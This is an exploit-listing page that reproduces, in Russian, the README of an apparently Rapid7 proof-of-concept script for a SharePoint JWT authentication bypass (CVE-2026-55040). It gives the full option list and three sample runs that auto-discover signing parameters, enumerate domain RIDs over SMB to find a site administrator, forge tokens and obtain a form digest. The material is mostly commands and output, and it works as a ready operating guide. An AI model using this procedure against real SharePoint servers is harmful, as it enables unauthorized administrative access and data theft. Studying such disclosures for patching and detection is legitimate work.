Sploitus

Exploit for CVE-2026-55040

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN144 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SFEWER-R7-CVE-2026-55040
# ΠžΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ JWT Π² Microsoft SharePoint (CVE-2026-55040)

## ΠžΠ±Π·ΠΎΡ€

`CVE-2026-55040.py` β€” это скрипт, ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ (proof-of-concept), для эксплуатации уязвимости ΠΎΠ±Ρ…ΠΎΠ΄Π° Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ SharePoint, CVE-2026-55040.

ΠŸΠΎΠ»Π½Ρ‹ΠΉ тСхничСский Π°Π½Π°Π»ΠΈΠ· см. Π² нашСм Π°Π½Π°Π»ΠΈΠ·Π΅ Rapid7.

## ИспользованиС

root@kitploit:~
    
    
    $ python CVE-2026-55040.py --help
    usage: CVE-2026-55040.py [-h] [--target TARGET] [--host HOST] [--x5t X5T] [--realm REALM] [--sid SID] [--upn UPN]
                             [--auto-upn] [--username USERNAME] [--rid RID] [--max-rid MAX_RID] [--port PORT]
                             [--domain-ip DOMAIN_IP] [--http]
    
    Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
    
    options:
      -h, --help            show this help message and exit
      --target TARGET       Target IP address (auto-discovers all params)
      --host HOST           SharePoint hostname (auto-discovered)
      --x5t X5T             STS signing cert x5t (auto-discovered from metadata)
      --realm REALM         SharePoint realm GUID (auto-discovered from metadata)
      --sid SID             Windows SID for identity (auto-discovered via LSARPC)
      --upn UPN             UPN for identity, e.g. some-email@example.com (alternative to --sid, no SMB needed)
      --auto-upn            Auto-construct UPN from HTTPS cert domain (no SMB needed; derives host from cert)
      --username USERNAME   Username for --auto-upn (default: administrator)
      --rid RID             Specific RID to use (skips iteration). If not set, auto-SID iterates 500 then 1000+ to find a
                            site admin
      --max-rid MAX_RID     Max RID to try during auto-SID iteration (default: 10000)
      --port PORT           Non-standard port for target web service (default: 443 for HTTPS, 80 for HTTP)
      --domain-ip DOMAIN_IP
                            Domain controller IP for SMB/LSARPC discovery (default: same as --target). Use when the DC is
                            a different system than the SharePoint server
      --http                Use HTTP instead of HTTPS (disables auto-discovery; must supply --host, --x5t, --realm, --sid
                            manually)
    

### ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1 (AccessToken)

ΠŸΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ hostname Ρ‡Π΅Ρ€Π΅Π· `--host` ΠΏΠΎΠ΄Π΄Π΅Π»Π°Π½Π½Ρ‹ΠΉ JWT Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΈΠΌΠ΅Π½ΠΈ `AccessToken` для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ `NT AUTHORITY\LOCAL SERVICE`.

ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: хотя ΠΎΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ, рСсурсы, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ Ρ‡Π΅Ρ€Π΅Π· ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ `AccessToken`, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹. НапримСр, Π²Ρ‹ Π½Π΅ смоТСтС ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ `/_api/contextinfo` (ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅ Π²ΠΎ врСмя ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Β«ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ digest Ρ„ΠΎΡ€ΠΌΡ‹Β»), Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΌ рСсурсам, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ `/_vti_bin/sites.asmx`. Π’ зависимости ΠΎΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ уязвимости, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ связан ΠΎΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, использованиС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΈΠΌΠ΅Π½ΠΈ `AccessToken` ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ цСлСсообразным.

root@kitploit:~
    
    
    $ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box
    ======================================================================
    Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
    ======================================================================
    
    [1] Auto-discovery...
    [+] Discovering x5t and realm from STS metadata...
      [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
      [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
    [+] No --domain-ip/--sid/--upn provided; using local service identity
    [+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
    
    [2] Forging JWT token...
      [+] Token forged (1025 bytes)
    
    [3] Obtaining form digest...
    [-] Failed to get digest. Response: {"odata.error":{"code":"-2147024891, System.UnauthorizedAccessException","message":{"lang":"en-US","value":"Access denied. You do not have permission to perform this action or access this resource."}}}
    

### ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 2 (SID)

ΠŸΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ hostname Ρ‡Π΅Ρ€Π΅Π· `--host` ΠΈ `--domain-ip` ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° Π΄ΠΎΠΌΠ΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Π»Π°Π½Π½Ρ‹ΠΉ JWT Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΈΠΌΠ΅Π½ΠΈ `urn:office:idp:activedirectory` для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Windows Security Identifier (SID). SID для этого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ автоматичСски обнаруТиваСтся для поиска администратора сайта.

Если Π²Ρ‹ Π·Π°Ρ€Π°Π½Π΅Π΅ Π·Π½Π°Π΅Ρ‚Π΅ SID, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ `--domain-ip` ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ извСстный SID Ρ‡Π΅Ρ€Π΅Π· `--sid`.

root@kitploit:~
    
    
    $ python3 -m pipx install impacket
    $ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
    ======================================================================
    Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
    ======================================================================
    
    [1] Auto-discovery...
    [+] Discovering x5t and realm from STS metadata...
      [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
      [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
    [+] Discovering domain SID via SMB (192.168.86.11)...
      [*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
      [*] DC differs from target; will discover SharePoint hostname separately
    [+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
    [+] Iterating RIDs to find site admin (500, then 1000-10000)...
      [-] RID 500: no valid user
      [-] RID 1000: no valid user
      [-] RID 1050: no valid user
      [-] RID 1100: no valid user
      [-] RID 1150: no valid user
      [-] RID 1200: no valid user
      [-] RID 1250: no valid user
      [-] RID 1300: no valid user
      [-] RID 1350: no valid user
      [-] RID 1400: no valid user
      [-] RID 1450: no valid user
      [-] RID 1500: no valid user
      [-] RID 1550: no valid user
      [-] RID 1600: no valid user
      [+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
      [+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
      [+] Found site admin at RID 1605, stopping scan
    [+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
    [+] Login: SHAREPOINT\system
    
    [2] Forging JWT token...
      [+] Token forged (1040 bytes)
    
    [3] Obtaining form digest...
      [+] Digest obtained.
    

### ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 3 (UPN)

ΠŸΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ hostname Ρ‡Π΅Ρ€Π΅Π· `--host` ΠΈ `--upn` извСстного ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ сайта ΠΏΠΎΠ΄Π΄Π΅Π»Π°Π½Π½Ρ‹ΠΉ JWT Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΈΠΌΠ΅Π½ΠΈ `urn:office:idp:activedirectory` для Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ User Principal Name (UPN).

root@kitploit:~
    
    
    $ python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn some-email@example.com
    ======================================================================
    Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
    ======================================================================
    
    [1] Auto-discovery...
    [+] Discovering x5t and realm from STS metadata...
      [*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
      [*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
    [+] Targeting: https://WIN-79B765S1R4G
    
    [2] Forging JWT token...
      [+] Token forged (1047 bytes)
    
    [3] Obtaining form digest...
      [+] Digest obtained.